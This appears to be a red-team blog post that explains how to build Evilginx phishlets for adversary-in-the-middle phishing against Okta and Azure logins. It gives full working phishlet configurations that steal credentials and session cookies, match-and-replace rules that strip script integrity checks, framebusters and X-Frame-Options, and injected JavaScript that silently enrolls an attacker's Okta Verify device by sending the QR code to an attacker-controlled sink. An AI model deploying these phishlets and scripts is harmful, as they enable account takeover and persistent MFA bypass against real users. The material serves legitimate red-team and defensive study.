Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.
Usually, threat actors try to send malicious documents such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, these types of techniques are less and less used.
Today, threat actors do not perform phishing to get a direct initial access to the company network, but to retrieve the digital identity of a user: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.
To limit such attacks, companies started enforcing MFA to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.
Phishing 101
IDP, cookies and phishing
The MFA protection implemented by companies is a good way to limit the impact of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.
However, today the MFA is usually only asked during the first authentication: once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.
In the most common web IDPs such as Azure, Google or Okta, this ticket is represented by the cookies. When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.

In a nutshell, the user IDP cookies represent the user digital identity. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.
Evilginx
Evil proxy
In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, the user will be aware that something wrong is happening.
That’s where Evilginx comes into play. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:

I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.
Phislets 101
For example, during the authentication to Azure, the following domains are used:
- login.microsoftonline.com
- www.microsoftonline.com
- aadcdn.microsoftonline.com
The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.
Evilginx uses specific configuration files known as phishlets to handle such cases. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:
<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>
With the phishlet, Evilginx will know that the domain login.microsoftonline.com must be rewritten and will send back to the target the following modified page:
<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>
With such match and replace pattern, Evilginx is able to trap the user inside the malicious application even if the IDP tries to redirect the user to a specific page.
Auto-replace limits
The Evilginx phishlet auto-replace has its limits. Indeed, sometime the server does not directly hardcode the domain in the page but builds it through a JS script.
In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.
CORS
In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script dynamically builds the redirection URL: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it fails due to CORS protection (trying to reach okta.com/idp/idx/introspect from evilginx.com):

By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:
Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=
With this simple indication, Evilginx will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.
JS integrity
When modifying the JS file or any other file through Evilginx, it can cause troubles due to the script integrity hash:
<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>
Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.

But, with Evilginx, we can also modify the html page to remove the integrity check:
Replace: integrity="[^"]*"
By: integrity=''
Redirect URI validation
The last point is the Redirect URI validation. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:
/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-9209000.okta.com[...]
With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-9209000.okta.com will be automatically changed into trial-9209000.evilginx.com.
This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain, Okta will show the following error:

The redirect URI is dynamically built by Okta by taking the login domain and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:
Using Evilginx, it is possible to use the match/replace pattern to reset the redirect_uri to the right URI:
Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")
Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")
Basic phishlets
Okta
min_ver: '3.0.0'
name: 'okta-wavestone'
params:
- name: okta_orga
default: ''
required: true
- name: redirect_server
default: https://google.com
proxy_hosts:
- phish_sub: '{okta_orga}'
orig_sub: '{okta_orga}'
domain: okta.com
session: true
is_landing: true
auto_filter: true
- phish_sub: ok14static
orig_sub: ok14static
domain: oktacdn.com
session: false
is_landing: false
auto_filter: true
- phish_sub: login
orig_sub: login
domain: okta.com
session: false
is_landing: false
auto_filter: true
sub_filters:
- triggers_on: 'ok14static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: 'array"\);var t='
replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
mimes: ['application/javascript']
- triggers_on: '{okta_orga}.okta.com'
orig_sub: ''
domain: 'okta.com'
search: integrity="[^"]*"
replace: integrity=''
mimes: ['text/html', 'charset=utf-8']
- triggers_on: '{okta_orga}.okta.com'
orig_sub: ''
domain: 'okta.com'
search: 'mainScript\.integrity'
replace: 'mainScript.inteegrity'
mimes: ['text/html', 'charset=utf-8']
- triggers_on: 'ok14static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
mimes: ['application/javascript']
- triggers_on: 'ok14static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: ',l\.src=e\.getIssuerOrigin\(\)'
replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
mimes: ['application/javascript']
- triggers_on: 'ok9static.oktacdn.com'
orig_sub: ''
domain: 'okta.com'
search: ',l\.src=e\.getIssuerOrigin\(\)'
replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
mimes: ['application/javascript']
auth_tokens:
- domain: '{okta_orga}.okta.com'
keys: ['idx:always']
credentials:
username:
key: ''
search: '"identifier":"([^"]*)"'
type: 'json'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
login:
domain: '{okta_orga}.okta.com'
path: '/'
force_post:
- path: '/kmsi'
search:
- {key: 'LoginOptions', search: '.*'}
force:
- {key: 'LoginOptions', value: '1'}
type: 'post'
Azure
name: 'o365-wavestone'
min_ver: '3.0.0'
proxy_hosts:
- phish_sub: 'login'
orig_sub: 'login'
domain: 'microsoftonline.com'
session: true
is_landing: true
- phish_sub: 'www'
orig_sub: 'www'
domain: 'office.com'
session: true
is_landing:false
- phish_sub: 'aadcdn'
orig_sub: 'aadcdn'
domain: 'msftauth.net'
session: false
auto_filter: true
is_landing:false
auth_tokens:
- domain: '.login.microsoftonline.com'
keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
- domain: 'login.microsoftonline.com'
keys: ['SignInStateCookie']
credentials:
username:
key: 'login'
search: '(.*)'
type: 'post'
password:
key: 'passwd'
search: '(.*)'
type: 'post'
auth_urls:
- '/common/SAS/ProcessAuth'
- '/kmsi'
login:
domain: 'login.microsoftonline.com'
path: '/'
force_post:
- path: '/kmsi'
search:
- {key: 'LoginOptions', search: '.*'}
force:
- {key: 'LoginOptions', value: '1'}
type: 'post'
- path: '/common/SAS'
search:
- {key: 'rememberMFA', search: '.*'}
force:
- {key: 'rememberMFA', value: 'true'}
type: 'post'
Automate critical actions
Adding MFA device
Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.
This is usually done by adding an additional MFA device to the user account.
For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, as long as the attacker has access to the user session, he is able to directly register his malicious MFA device.
However, on some IDP such as Okta, the MFA registration asks for an MFA validation. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.
What could be interesting is to add this reauthentication step during the phishing attack:
- The user authenticates a first time to access his session
- Evilginx steals the user cookies
- Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup
- The user revalidates his MFA thinking the first one failed
- Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process
All these actions can be automated through Evilginx by modifying the JS scripts.
First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:
- trigger_domains: ['{okta_orga}.okta.com']
trigger_paths: ['/app/UserHome']
script: |
if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}
This script will be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite redirection loop at the end of his authentication flow…
Then, a new JS code is added to the /help/login page. This script is used to enumerate the available MFA technologies available and configured:
- trigger_domains: ['{okta_orga}.okta.com']
trigger_paths: ['/help/login']
script: |
function u4tyd783z(){
fetch('/api/v1/authenticators')
.then((data) => {
data.json().then((jData)=>{
let id = undefined
for(let elt of jData){
if(elt.key == 'okta_verify'){
id = elt.id
}
}
if(id == undefined){
return
}
console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
})
})
}
u4tyd783z();
The script chooses the Okta Verify authentication method and redirects the user to the setup page.
On the setup page, a new JS script is injected. This JS script is used to automate the registration steps to only let the MFA validation form:
- trigger_domains: ['{okta_orga}.okta.com']
trigger_paths: ['/idp/authenticators/setup/.*']
script: |
function u720dhfn2(){
if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
document.querySelectorAll('.button.select-factor.link-button')[0].click()
document.querySelectorAll('body')[0].style.display = 'none'
a = true
}
if(document.querySelectorAll('a.orOnMobileLink').length > 0){
document.querySelectorAll('a.orOnMobileLink')[0].click()
b = true
}
if(document.querySelectorAll('img.qrcode').length > 0){
fetch("{qrcode_sink}", {
method: 'POST',
body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
}).then(()=>{
document.location='{redirect_server}'
}).catch(()=>{
document.location='{redirect_server}'
})
clearInterval(myInterval)
}
}
var a = false
var b = false
var myInterval = setInterval(function(){u720dhfn2()}, 10)
Once the user has validated the MFA authentication, the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.
The attacker can then retrieve the QRCode and enroll his own device.
Pushing the limit
Okta with Azure authentication
Some companies can link two IDP together: Okta redirects to Azure and provisions the user when they first login.
In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.
The previous phislets must be merged in order to capture both authentications. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.
Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:
<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>
Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.
Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.
In a nutshell, in this specific case, it is possible to simply merge the two previous phishlets.
Frame buster
More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.
The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.
Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:

The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.
While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.
Self == top
The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.
With Evilginx, it is possible to remove the check with a simple match and replace pattern:
Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;
This modification ensures that the iframe is recognized as the top frame.
Target=”_top”
The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.
This can be done by adding the target=”_top” attribute in the form. It is then possible to remove this protection with Evilginx:
Replace: method="post" target="_top"
By: method="post"
Framework specific
Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.
The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.
In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:
Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}
HTTP header
The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.
It is possible to simply remove this header with Evilginx:
Replace: X-Frame-Options: DENY
By: Test: Test
Final phishlet
The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:
- Retrieve the Azure credentials
- Retrieve the Azure cookies
- Retrieve the Okta cookies
- Retrieve the MFA enrollment QRCode for Okta
Example of browser in browser phishing on a company using Okta/Azure
The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.
But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.
The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.